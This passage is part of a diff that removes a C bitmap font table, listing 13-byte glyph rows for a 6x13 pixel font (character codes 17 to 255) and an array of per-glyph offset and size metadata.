-0x00,0x00,0x00,0xFC,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 17 */
-0x00,0x00,0x00,0x00,0x00,0x00,0xFC,0x00,0x00,0x00,0x00,0x00,0x00, /* 18 */
-0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFC,0x00,0x00,0x00, /* 19 */
-0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFC, /* 20 */
-0x20,0x20,0x20,0x20,0x20,0x20,0x3C,0x20,0x20,0x20,0x20,0x20,0x20, /* 21 */
-0x20,0x20,0x20,0x20,0x20,0x20,0xE0,0x20,0x20,0x20,0x20,0x20,0x20, /* 22 */
-0x20,0x20,0x20,0x20,0x20,0x20,0xFC,0x00,0x00,0x00,0x00,0x00,0x00, /* 23 */
-0x00,0x00,0x00,0x00,0x00,0x00,0xFC,0x20,0x20,0x20,0x20,0x20,0x20, /* 24 */
-0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20, /* 25 */
-0x00,0x00,0x00,0x18,0x60,0x80,0x60,0x18,0x00,0xF8,0x00,0x00,0x00, /* 26 */
-0x00,0x00,0x00,0xC0,0x30,0x08,0x30,0xC0,0x00,0xF8,0x00,0x00,0x00, /* 27 */
-0x00,0x00,0x00,0x00,0x00,0xF8,0x50,0x50,0x50,0x50,0x50,0x00,0x00, /* 28 */
-0x00,0x00,0x00,0x00,0x00,0x08,0xF8,0x20,0xF8,0x80,0x00,0x00,0x00, /* 29 */
-0x00,0x00,0x30,0x48,0x40,0x40,0xE0,0x40,0x40,0x48,0xB0,0x00,0x00, /* 30 */
-0x00,0x00,0x00,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x00,0x00,0x00, /* 31 */
-0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 32 */
-0x00,0x00,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x00,0x20,0x00,0x00, /* 33 */
-0x00,0x00,0x50,0x50,0x50,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 34 */
-0x00,0x00,0x00,0x50,0x50,0xF8,0x50,0xF8,0x50,0x50,0x00,0x00,0x00, /* 35 */
-0x00,0x00,0x20,0x78,0xA0,0xA0,0x70,0x28,0x28,0xF0,0x20,0x00,0x00, /* 36 */
-0x00,0x00,0x48,0xA8,0x50,0x10,0x20,0x40,0x50,0xA8,0x90,0x00,0x00, /* 37 */
-0x00,0x00,0x00,0x40,0xA0,0xA0,0x40,0xA0,0x98,0x90,0x68,0x00,0x00, /* 38 */
-0x00,0x00,0x20,0x20,0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 39 */
-0x00,0x10,0x20,0x20,0x40,0x40,0x40,0x40,0x40,0x20,0x20,0x10,0x00, /* 40 */
-0x00,0x40,0x20,0x20,0x10,0x10,0x10,0x10,0x10,0x20,0x20,0x40,0x00, /* 41 */
-0x00,0x00,0x00,0x20,0xA8,0xF8,0x70,0xF8,0xA8,0x20,0x00,0x00,0x00, /* 42 */
-0x00,0x00,0x00,0x00,0x20,0x20,0xF8,0x20,0x20,0x00,0x00,0x00,0x00, /* 43 */
-0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x30,0x20,0x40,0x00, /* 44 */
-0x00,0x00,0x00,0x00,0x00,0x00,0xF8,0x00,0x00,0x00,0x00,0x00,0x00, /* 45 */
-0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x70,0x20,0x00, /* 46 */
-0x00,0x00,0x08,0x08,0x10,0x10,0x20,0x40,0x40,0x80,0x80,0x00,0x00, /* 47 */
-0x00,0x00,0x20,0x50,0x88,0x88,0x88,0x88,0x88,0x50,0x20,0x00,0x00, /* 48 */
-0x00,0x00,0x20,0x60,0xA0,0x20,0x20,0x20,0x20,0x20,0xF8,0x00,0x00, /* 49 */
-0x00,0x00,0x70,0x88,0x88,0x08,0x10,0x20,0x40,0x80,0xF8,0x00,0x00, /* 50 */
-0x00,0x00,0xF8,0x08,0x10,0x20,0x70,0x08,0x08,0x88,0x70,0x00,0x00, /* 51 */
-0x00,0x00,0x10,0x10,0x30,0x50,0x50,0x90,0xF8,0x10,0x10,0x00,0x00, /* 52 */
-0x00,0x00,0xF8,0x80,0x80,0xB0,0xC8,0x08,0x08,0x88,0x70,0x00,0x00, /* 53 */
-0x00,0x00,0x70,0x88,0x80,0x80,0xF0,0x88,0x88,0x88,0x70,0x00,0x00, /* 54 */
-0x00,0x00,0xF8,0x08,0x10,0x10,0x20,0x20,0x40,0x40,0x40,0x00,0x00, /* 55 */
-0x00,0x00,0x70,0x88,0x88,0x88,0x70,0x88,0x88,0x88,0x70,0x00,0x00, /* 56 */
-0x00,0x00,0x70,0x88,0x88,0x88,0x78,0x08,0x08,0x88,0x70,0x00,0x00, /* 57 */
-0x00,0x00,0x00,0x00,0x20,0x70,0x20,0x00,0x00,0x20,0x70,0x20,0x00, /* 58 */
-0x00,0x00,0x00,0x00,0x20,0x70,0x20,0x00,0x00,0x30,0x20,0x40,0x00, /* 59 */
-0x00,0x00,0x08,0x10,0x20,0x40,0x80,0x40,0x20,0x10,0x08,0x00,0x00, /* 60 */
-0x00,0x00,0x00,0x00,0x00,0xF8,0x00,0x00,0xF8,0x00,0x00,0x00,0x00, /* 61 */
-0x00,0x00,0x80,0x40,0x20,0x10,0x08,0x10,0x20,0x40,0x80,0x00,0x00, /* 62 */
-0x00,0x00,0x70,0x88,0x88,0x08,0x10,0x20,0x20,0x00,0x20,0x00,0x00, /* 63 */
-0x00,0x00,0x70,0x88,0x88,0x98,0xA8,0xA8,0xB0,0x80,0x78,0x00,0x00, /* 64 */
-0x00,0x00,0x20,0x50,0x88,0x88,0x88,0xF8,0x88,0x88,0x88,0x00,0x00, /* 65 */
-0x00,0x00,0xF0,0x48,0x48,0x48,0x70,0x48,0x48,0x48,0xF0,0x00,0x00, /* 66 */
-0x00,0x00,0x70,0x88,0x80,0x80,0x80,0x80,0x80,0x88,0x70,0x00,0x00, /* 67 */
-0x00,0x00,0xF0,0x48,0x48,0x48,0x48,0x48,0x48,0x48,0xF0,0x00,0x00, /* 68 */
-0x00,0x00,0xF8,0x80,0x80,0x80,0xF0,0x80,0x80,0x80,0xF8,0x00,0x00, /* 69 */
-0x00,0x00,0xF8,0x80,0x80,0x80,0xF0,0x80,0x80,0x80,0x80,0x00,0x00, /* 70 */
-0x00,0x00,0x70,0x88,0x80,0x80,0x80,0x98,0x88,0x88,0x70,0x00,0x00, /* 71 */
-0x00,0x00,0x88,0x88,0x88,0x88,0xF8,0x88,0x88,0x88,0x88,0x00,0x00, /* 72 */
-0x00,0x00,0x70,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x70,0x00,0x00, /* 73 */
-0x00,0x00,0x38,0x10,0x10,0x10,0x10,0x10,0x10,0x90,0x60,0x00,0x00, /* 74 */
-0x00,0x00,0x88,0x88,0x90,0xA0,0xC0,0xA0,0x90,0x88,0x88,0x00,0x00, /* 75 */
-0x00,0x00,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0xF8,0x00,0x00, /* 76 */
-0x00,0x00,0x88,0x88,0xD8,0xA8,0xA8,0x88,0x88,0x88,0x88,0x00,0x00, /* 77 */
-0x00,0x00,0x88,0xC8,0xC8,0xA8,0xA8,0x98,0x98,0x88,0x88,0x00,0x00, /* 78 */
-0x00,0x00,0x70,0x88,0x88,0x88,0x88,0x88,0x88,0x88,0x70,0x00,0x00, /* 79 */
-0x00,0x00,0xF0,0x88,0x88,0x88,0xF0,0x80,0x80,0x80,0x80,0x00,0x00, /* 80 */
-0x00,0x00,0x70,0x88,0x88,0x88,0x88,0x88,0x88,0xA8,0x70,0x08,0x00, /* 81 */
-0x00,0x00,0xF0,0x88,0x88,0x88,0xF0,0xA0,0x90,0x88,0x88,0x00,0x00, /* 82 */
-0x00,0x00,0x70,0x88,0x80,0x80,0x70,0x08,0x08,0x88,0x70,0x00,0x00, /* 83 */
-0x00,0x00,0xF8,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x00,0x00, /* 84 */
-0x00,0x00,0x88,0x88,0x88,0x88,0x88,0x88,0x88,0x88,0x70,0x00,0x00, /* 85 */
-0x00,0x00,0x88,0x88,0x88,0x88,0x50,0x50,0x50,0x20,0x20,0x00,0x00, /* 86 */
-0x00,0x00,0x88,0x88,0x88,0x88,0xA8,0xA8,0xA8,0xA8,0x50,0x00,0x00, /* 87 */
-0x00,0x00,0x88,0x88,0x50,0x50,0x20,0x50,0x50,0x88,0x88,0x00,0x00, /* 88 */
-0x00,0x00,0x88,0x88,0x50,0x50,0x20,0x20,0x20,0x20,0x20,0x00,0x00, /* 89 */
-0x00,0x00,0xF8,0x08,0x10,0x10,0x20,0x40,0x40,0x80,0xF8,0x00,0x00, /* 90 */
-0x00,0x70,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x70,0x00, /* 91 */
-0x00,0x00,0x80,0x80,0x40,0x40,0x20,0x10,0x10,0x08,0x08,0x00,0x00, /* 92 */
-0x00,0x70,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x70,0x00, /* 93 */
-0x00,0x00,0x20,0x50,0x88,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 94 */
-0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xF8,0x00, /* 95 */
-0x00,0x20,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 96 */
-0x00,0x00,0x00,0x00,0x00,0x70,0x08,0x78,0x88,0x98,0x68,0x00,0x00, /* 97 */
-0x00,0x00,0x80,0x80,0x80,0xF0,0x88,0x88,0x88,0x88,0xF0,0x00,0x00, /* 98 */
-0x00,0x00,0x00,0x00,0x00,0x70,0x88,0x80,0x80,0x88,0x70,0x00,0x00, /* 99 */
-0x00,0x00,0x08,0x08,0x08,0x78,0x88,0x88,0x88,0x88,0x78,0x00,0x00, /* 100 */
-0x00,0x00,0x00,0x00,0x00,0x70,0x88,0xF8,0x80,0x88,0x70,0x00,0x00, /* 101 */
-0x00,0x00,0x30,0x48,0x40,0x40,0xF0,0x40,0x40,0x40,0x40,0x00,0x00, /* 102 */
-0x00,0x00,0x00,0x00,0x00,0x70,0x88,0x88,0x88,0x78,0x08,0x88,0x70, /* 103 */
-0x00,0x00,0x80,0x80,0x80,0xB0,0xC8,0x88,0x88,0x88,0x88,0x00,0x00, /* 104 */
-0x00,0x00,0x00,0x20,0x00,0x60,0x20,0x20,0x20,0x20,0x70,0x00,0x00, /* 105 */
-0x00,0x00,0x00,0x10,0x00,0x30,0x10,0x10,0x10,0x10,0x90,0x90,0x60, /* 106 */
-0x00,0x00,0x80,0x80,0x80,0x90,0xA0,0xC0,0xA0,0x90,0x88,0x00,0x00, /* 107 */
-0x00,0x00,0x60,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x70,0x00,0x00, /* 108 */
-0x00,0x00,0x00,0x00,0x00,0xD0,0xA8,0xA8,0xA8,0xA8,0x88,0x00,0x00, /* 109 */
-0x00,0x00,0x00,0x00,0x00,0xB0,0xC8,0x88,0x88,0x88,0x88,0x00,0x00, /* 110 */
-0x00,0x00,0x00,0x00,0x00,0x70,0x88,0x88,0x88,0x88,0x70,0x00,0x00, /* 111 */
-0x00,0x00,0x00,0x00,0x00,0xF0,0x88,0x88,0x88,0xF0,0x80,0x80,0x80, /* 112 */
-0x00,0x00,0x00,0x00,0x00,0x78,0x88,0x88,0x88,0x78,0x08,0x08,0x08, /* 113 */
-0x00,0x00,0x00,0x00,0x00,0xB0,0xC8,0x80,0x80,0x80,0x80,0x00,0x00, /* 114 */
-0x00,0x00,0x00,0x00,0x00,0x70,0x88,0x60,0x10,0x88,0x70,0x00,0x00, /* 115 */
-0x00,0x00,0x00,0x40,0x40,0xF0,0x40,0x40,0x40,0x48,0x30,0x00,0x00, /* 116 */
-0x00,0x00,0x00,0x00,0x00,0x88,0x88,0x88,0x88,0x98,0x68,0x00,0x00, /* 117 */
-0x00,0x00,0x00,0x00,0x00,0x88,0x88,0x88,0x50,0x50,0x20,0x00,0x00, /* 118 */
-0x00,0x00,0x00,0x00,0x00,0x88,0x88,0xA8,0xA8,0xA8,0x50,0x00,0x00, /* 119 */
-0x00,0x00,0x00,0x00,0x00,0x88,0x50,0x20,0x20,0x50,0x88,0x00,0x00, /* 120 */
-0x00,0x00,0x00,0x00,0x00,0x88,0x88,0x88,0x98,0x68,0x08,0x88,0x70, /* 121 */
-0x00,0x00,0x00,0x00,0x00,0xF8,0x10,0x20,0x40,0x80,0xF8,0x00,0x00, /* 122 */
-0x00,0x18,0x20,0x20,0x20,0x20,0xC0,0x20,0x20,0x20,0x20,0x18,0x00, /* 123 */
-0x00,0x00,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x00,0x00, /* 124 */
-0x00,0xC0,0x20,0x20,0x20,0x20,0x18,0x20,0x20,0x20,0x20,0xC0,0x00, /* 125 */
-0x00,0x00,0x48,0xA8,0x90,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 126 */
-0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 160 */
-0x00,0x00,0x20,0x00,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x00,0x00, /* 161 */
-0x00,0x00,0x20,0x70,0xA8,0xA0,0xA0,0xA8,0x70,0x20,0x00,0x00,0x00, /* 162 */
-0x00,0x00,0x30,0x48,0x40,0x40,0xE0,0x40,0x40,0x48,0xB0,0x00,0x00, /* 163 */
-0x00,0x00,0x00,0x00,0x88,0x70,0x50,0x50,0x70,0x88,0x00,0x00,0x00, /* 164 */
-0x00,0x00,0x88,0x88,0x50,0x50,0xF8,0x20,0xF8,0x20,0x20,0x00,0x00, /* 165 */
-0x00,0x00,0x20,0x20,0x20,0x20,0x00,0x20,0x20,0x20,0x20,0x00,0x00, /* 166 */
-0x00,0x30,0x48,0x40,0x30,0x48,0x48,0x30,0x08,0x48,0x30,0x00,0x00, /* 167 */
-0x00,0x50,0x50,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 168 */
-0x00,0x70,0x88,0xA8,0xD8,0xC8,0xD8,0xA8,0x88,0x70,0x00,0x00,0x00, /* 169 */
-0x00,0x00,0x70,0x08,0x78,0x88,0x78,0x00,0xF8,0x00,0x00,0x00,0x00, /* 170 */
-0x00,0x00,0x00,0x00,0x28,0x50,0xA0,0xA0,0x50,0x28,0x00,0x00,0x00, /* 171 */
-0x00,0x00,0x00,0x00,0x00,0x00,0xF8,0x08,0x08,0x00,0x00,0x00,0x00, /* 172 */
-0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x00,0x00,0x00,0x00,0x00,0x00, /* 173 */
-0x00,0x70,0x88,0xE8,0xD8,0xD8,0xE8,0xD8,0x88,0x70,0x00,0x00,0x00, /* 174 */
-0x00,0x00,0xF8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 175 */
-0x00,0x00,0x30,0x48,0x48,0x30,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 176 */
-0x00,0x00,0x00,0x20,0x20,0xF8,0x20,0x20,0x00,0xF8,0x00,0x00,0x00, /* 177 */
-0x00,0x40,0xA0,0x20,0x40,0xE0,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 178 */
-0x00,0x40,0xA0,0x40,0x20,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 179 */
-0x00,0x10,0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 180 */
-0x00,0x00,0x00,0x00,0x00,0x88,0x88,0x88,0x88,0x98,0xE8,0x80,0x80, /* 181 */
-0x00,0x00,0x78,0xE8,0xE8,0xE8,0xE8,0x68,0x28,0x28,0x28,0x00,0x00, /* 182 */
-0x00,0x00,0x00,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x00,0x00,0x00, /* 183 */
-0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x20, /* 184 */
-0x00,0x40,0xC0,0x40,0x40,0xE0,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 185 */
-0x00,0x00,0x70,0x88,0x88,0x88,0x70,0x00,0xF8,0x00,0x00,0x00,0x00, /* 186 */
-0x00,0x00,0x00,0x00,0xA0,0x50,0x28,0x28,0x50,0xA0,0x00,0x00,0x00, /* 187 */
-0x00,0x40,0xC0,0x40,0x40,0xE0,0x08,0x18,0x28,0x38,0x08,0x00,0x00, /* 188 */
-0x00,0x40,0xC0,0x40,0x40,0xE0,0x10,0x28,0x08,0x10,0x38,0x00,0x00, /* 189 */
-0x00,0x40,0xA0,0x40,0x20,0xA0,0x48,0x18,0x28,0x38,0x08,0x00,0x00, /* 190 */
-0x00,0x00,0x20,0x00,0x20,0x20,0x40,0x80,0x88,0x88,0x70,0x00,0x00, /* 191 */
-0x00,0x40,0x20,0x00,0x20,0x50,0x88,0x88,0xF8,0x88,0x88,0x00,0x00, /* 192 */
-0x00,0x10,0x20,0x00,0x20,0x50,0x88,0x88,0xF8,0x88,0x88,0x00,0x00, /* 193 */
-0x00,0x30,0x48,0x00,0x20,0x50,0x88,0x88,0xF8,0x88,0x88,0x00,0x00, /* 194 */
-0x00,0x28,0x50,0x00,0x20,0x50,0x88,0x88,0xF8,0x88,0x88,0x00,0x00, /* 195 */
-0x00,0x50,0x50,0x00,0x20,0x50,0x88,0x88,0xF8,0x88,0x88,0x00,0x00, /* 196 */
-0x00,0x20,0x50,0x20,0x20,0x50,0x88,0x88,0xF8,0x88,0x88,0x00,0x00, /* 197 */
-0x00,0x00,0x58,0xA0,0xA0,0xA0,0xB0,0xE0,0xA0,0xA0,0xB8,0x00,0x00, /* 198 */
-0x00,0x00,0x70,0x88,0x80,0x80,0x80,0x80,0x80,0x88,0x70,0x20,0x40, /* 199 */
-0x00,0x40,0x20,0x00,0xF8,0x80,0x80,0xF0,0x80,0x80,0xF8,0x00,0x00, /* 200 */
-0x00,0x10,0x20,0x00,0xF8,0x80,0x80,0xF0,0x80,0x80,0xF8,0x00,0x00, /* 201 */
-0x00,0x30,0x48,0x00,0xF8,0x80,0x80,0xF0,0x80,0x80,0xF8,0x00,0x00, /* 202 */
-0x00,0x50,0x50,0x00,0xF8,0x80,0x80,0xF0,0x80,0x80,0xF8,0x00,0x00, /* 203 */
-0x00,0x40,0x20,0x00,0x70,0x20,0x20,0x20,0x20,0x20,0x70,0x00,0x00, /* 204 */
-0x00,0x10,0x20,0x00,0x70,0x20,0x20,0x20,0x20,0x20,0x70,0x00,0x00, /* 205 */
-0x00,0x30,0x48,0x00,0x70,0x20,0x20,0x20,0x20,0x20,0x70,0x00,0x00, /* 206 */
-0x00,0x50,0x50,0x00,0x70,0x20,0x20,0x20,0x20,0x20,0x70,0x00,0x00, /* 207 */
-0x00,0x00,0xF0,0x48,0x48,0x48,0xE8,0x48,0x48,0x48,0xF0,0x00,0x00, /* 208 */
-0x00,0x28,0x50,0x00,0x88,0x88,0xC8,0xA8,0x98,0x88,0x88,0x00,0x00, /* 209 */
-0x00,0x40,0x20,0x00,0x70,0x88,0x88,0x88,0x88,0x88,0x70,0x00,0x00, /* 210 */
-0x00,0x10,0x20,0x00,0x70,0x88,0x88,0x88,0x88,0x88,0x70,0x00,0x00, /* 211 */
-0x00,0x30,0x48,0x00,0x70,0x88,0x88,0x88,0x88,0x88,0x70,0x00,0x00, /* 212 */
-0x00,0x28,0x50,0x00,0x70,0x88,0x88,0x88,0x88,0x88,0x70,0x00,0x00, /* 213 */
-0x00,0x50,0x50,0x00,0x70,0x88,0x88,0x88,0x88,0x88,0x70,0x00,0x00, /* 214 */
-0x00,0x00,0x00,0x00,0x00,0x88,0x50,0x20,0x50,0x88,0x00,0x00,0x00, /* 215 */
-0x00,0x08,0x70,0x98,0x98,0xA8,0xA8,0xA8,0xC8,0xC8,0x70,0x80,0x00, /* 216 */
-0x00,0x40,0x20,0x00,0x88,0x88,0x88,0x88,0x88,0x88,0x70,0x00,0x00, /* 217 */
-0x00,0x10,0x20,0x00,0x88,0x88,0x88,0x88,0x88,0x88,0x70,0x00,0x00, /* 218 */
-0x00,0x30,0x48,0x00,0x88,0x88,0x88,0x88,0x88,0x88,0x70,0x00,0x00, /* 219 */
-0x00,0x50,0x50,0x00,0x88,0x88,0x88,0x88,0x88,0x88,0x70,0x00,0x00, /* 220 */
-0x00,0x10,0x20,0x00,0x88,0x88,0x50,0x20,0x20,0x20,0x20,0x00,0x00, /* 221 */
-0x00,0x00,0x80,0xF0,0x88,0x88,0x88,0xF0,0x80,0x80,0x80,0x00,0x00, /* 222 */
-0x00,0x00,0x60,0x90,0x90,0xA0,0xA0,0x90,0x88,0x88,0xB0,0x00,0x00, /* 223 */
-0x00,0x00,0x40,0x20,0x00,0x70,0x08,0x78,0x88,0x98,0x68,0x00,0x00, /* 224 */
-0x00,0x00,0x10,0x20,0x00,0x70,0x08,0x78,0x88,0x98,0x68,0x00,0x00, /* 225 */
-0x00,0x00,0x30,0x48,0x00,0x70,0x08,0x78,0x88,0x98,0x68,0x00,0x00, /* 226 */
-0x00,0x00,0x28,0x50,0x00,0x70,0x08,0x78,0x88,0x98,0x68,0x00,0x00, /* 227 */
-0x00,0x00,0x50,0x50,0x00,0x70,0x08,0x78,0x88,0x98,0x68,0x00,0x00, /* 228 */
-0x00,0x30,0x48,0x30,0x00,0x70,0x08,0x78,0x88,0x98,0x68,0x00,0x00, /* 229 */
-0x00,0x00,0x00,0x00,0x00,0x70,0x28,0x70,0xA0,0xA8,0x50,0x00,0x00, /* 230 */
-0x00,0x00,0x00,0x00,0x00,0x70,0x88,0x80,0x80,0x88,0x70,0x20,0x40, /* 231 */
-0x00,0x00,0x40,0x20,0x00,0x70,0x88,0xF8,0x80,0x88,0x70,0x00,0x00, /* 232 */
-0x00,0x00,0x10,0x20,0x00,0x70,0x88,0xF8,0x80,0x88,0x70,0x00,0x00, /* 233 */
-0x00,0x00,0x30,0x48,0x00,0x70,0x88,0xF8,0x80,0x88,0x70,0x00,0x00, /* 234 */
-0x00,0x00,0x50,0x50,0x00,0x70,0x88,0xF8,0x80,0x88,0x70,0x00,0x00, /* 235 */
-0x00,0x00,0x40,0x20,0x00,0x60,0x20,0x20,0x20,0x20,0x70,0x00,0x00, /* 236 */
-0x00,0x00,0x10,0x20,0x00,0x60,0x20,0x20,0x20,0x20,0x70,0x00,0x00, /* 237 */
-0x00,0x00,0x30,0x48,0x00,0x60,0x20,0x20,0x20,0x20,0x70,0x00,0x00, /* 238 */
-0x00,0x00,0x50,0x50,0x00,0x60,0x20,0x20,0x20,0x20,0x70,0x00,0x00, /* 239 */
-0x00,0x50,0x20,0x60,0x10,0x70,0x88,0x88,0x88,0x88,0x70,0x00,0x00, /* 240 */
-0x00,0x00,0x28,0x50,0x00,0xB0,0xC8,0x88,0x88,0x88,0x88,0x00,0x00, /* 241 */
-0x00,0x00,0x40,0x20,0x00,0x70,0x88,0x88,0x88,0x88,0x70,0x00,0x00, /* 242 */
-0x00,0x00,0x10,0x20,0x00,0x70,0x88,0x88,0x88,0x88,0x70,0x00,0x00, /* 243 */
-0x00,0x00,0x30,0x48,0x00,0x70,0x88,0x88,0x88,0x88,0x70,0x00,0x00, /* 244 */
-0x00,0x00,0x28,0x50,0x00,0x70,0x88,0x88,0x88,0x88,0x70,0x00,0x00, /* 245 */
-0x00,0x00,0x50,0x50,0x00,0x70,0x88,0x88,0x88,0x88,0x70,0x00,0x00, /* 246 */
-0x00,0x00,0x00,0x20,0x20,0x00,0xF8,0x00,0x20,0x20,0x00,0x00,0x00, /* 247 */
-0x00,0x00,0x00,0x00,0x08,0x70,0x98,0xA8,0xA8,0xC8,0x70,0x80,0x00, /* 248 */
-0x00,0x00,0x40,0x20,0x00,0x88,0x88,0x88,0x88,0x98,0x68,0x00,0x00, /* 249 */
-0x00,0x00,0x10,0x20,0x00,0x88,0x88,0x88,0x88,0x98,0x68,0x00,0x00, /* 250 */
-0x00,0x00,0x30,0x48,0x00,0x88,0x88,0x88,0x88,0x98,0x68,0x00,0x00, /* 251 */
-0x00,0x00,0x50,0x50,0x00,0x88,0x88,0x88,0x88,0x98,0x68,0x00,0x00, /* 252 */
-0x00,0x00,0x10,0x20,0x00,0x88,0x88,0x88,0x98,0x68,0x08,0x88,0x70, /* 253 */
-0x00,0x00,0x00,0x80,0x80,0xB0,0xC8,0x88,0x88,0xC8,0xB0,0x80,0x80, /* 254 */
-0x00,0x00,0x50,0x50,0x00,0x88,0x88,0x88,0x98,0x68,0x08,0x88,0x70, /* 255 */
-};
-static int default6x13FontMetaData[256*5]={
-0,6,13,0,-2,13,6,13,0,-2,26,6,13,0,-2,39,6,13,0,-2,52,6,13,0,-2,65,6,13,0,-2,78,6,13,0,-2,91,6,13,0,-2,104,6,13,0,-2,117,6,13,0,-2,130,6,13,0,-2,143,6,13,0,-2,156,6,13,0,-2,169,6,13,0,-2,182,6,13,0,-2,195,6,13,0,-2,208,6,13,0,-2,221,6,13,0,-2,234,6,13,0,-2,247,6,13,0,-2,260,6,13,0,-2,273,6,13,0,-2,286,6,13,0,-2,299,6,13,0,-2,312,6,13,0,-2,325,6,13,0,-2,338,6,13,0,-2,351,6,13,0,-2,364,6,13,0,-2,377,6,13,0,-2,390,6,13,0,-2,403,6,13,0,-2,416,6,13,0,-2,429,6,13,0,-2,442,6,13,0,-2,455,6,13,0,-2,468,6,13,0,-2,481,6,13,0,-2,494,6,13,0,-2,507,6,13,0,-2,520,6,13,0,-2,533,6,13,0,-2,546,6,13,0,-2,559,6,13,0,-2,572,6,13,0,-2,585,6,13,0,-2,598,6,13,0,-2,611,6,13,0,-2,624,6,13,0,-2,637,6,13,0,-2,650,6,13,0,-2,663,6,13,0,-2,676,6,13,0,-2,689,6,13,0,-2,702,6,13,0,-2,715,6,13,0,-2,728,6,13,0,-2,741,6,13,0,-2,754,6,13,0,-2,767,6,13,0,-2,780,6,13,0,-2,793,6,13,0,-2,806,6,13,0,-2,819,6,13,0,-2,832,6,13,0,-2,845,6,13,0,-2,858,6,13,0,-2,871,6,13,0,-2,884,6,13,0,-2,897,6,13,0,-2,910,6,13,0,-2,923,6,13,0,-2,936,6,13,0,-2,949,6,13,0,-2,962,6,13,0,-2,975,6,13,0,-2,988,6,13,0,-2,1001,6,13,0,-2,1014,6,13,0,-2,1027,6,13,0,-2,1040,6,13,0,-2,1053,6,13,0,-2,1066,6,13,0,-2,1079,6,13,0,-2,1092,6,13,0,-2,1105,6,13,0,-2,1118,6,13,0,-2,1131,6,13,0,-2,1144,6,13,0,-2,1157,6,13,0,-2,1170,6,13,0,-2,1183,6,13,0,-2,1196,6,13,0,-2,1209,6,13,0,-2,1222,6,13,0,-2,1235,6,13,0,-2,1248,6,13,0,-2,1261,6,13,0,-2,1274,6,13,0,-2,1287,6,13,0,-2,1300,6,13,0,-2,1313,6,13,0,-2,1326,6,13,0,-2,1339,6,13,0,-2,1352,6,13,0,-2,1365,6,13,0,-2,1378,6,13,0,-2,1391,6,13,0,-2,1404,6,13,0,-2,1417,6,13,0,-2,1430,6,13,0,-2,1443,6,13,0,-2,1456,6,13,0,-2,1469,6,13,0,-2,1482,6,13,0,-2,1495,6,13,0,-2,1508,6,13,0,-2,1521,6,13,0,-2,1534,6,13,0,-2,1547,6,13,0,-2,1560,6,13,0,-2,1573,6,13,0,-2,1586,6,13,0,-2,1599,6,13,0,-2,1612,6,13,0,-2,1625,6,13,0,-2,1638,6,13,0,-2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1651,6,13,0,-2,1664,6,13,0,-2,1677,6,13,0,-2,1690,6,13,0,-2,1703,6,13,0,-2,1716,6,13,0,-2,1729,6,13,0,-2,1742,6,13,0,-2,1755,6,13,0,-2,1768,6,13,0,-2,1781,6,13,0,-2,1794,6,13,0,-2,1807,6,13,0,-2,1820,6,13,0,-2,1833,6,13,0,-2,1846,6,13,0,-2,1859,6,13,0,-2,1872,6,13,0,-2,1885,6,13,0,-2,1898,6,13,0,-2,1911,6,13,0,-2,1924,6,13,0,-2,1937,6,13,0,-2,1950,6,13,0,-2,1963,6,13,0,-2,1976,6,13,0,-2,1989,6,13,0,-2,2002,6,13,0,-2,2015,6,13,0,-2,2028,6,13,0,-2,2041,6,13,0,-2,2054,6,13,0,-2,2067,6,13,0,-2,2080,6,13,0,-2,2093,6,13,0,-2,2106,6,13,0,-2,2119,6,13,0,-2,2132,6,13,0,-2,2145,6,13,0,-2,2158,6,13,0,-2,2171,6,13,0,-2,2184,6,13,0,-2,2197,6,13,0,-2,2210,6,13,0,-2,2223,6,13,0,-2,2236,6,13,0,-2,2249,6,13,0,-2,2262,6,13,0,-2,2275,6,13,0,-2,2288,6,13,0,-2,2301,6,13,0,-2,2314,6,13,0,-2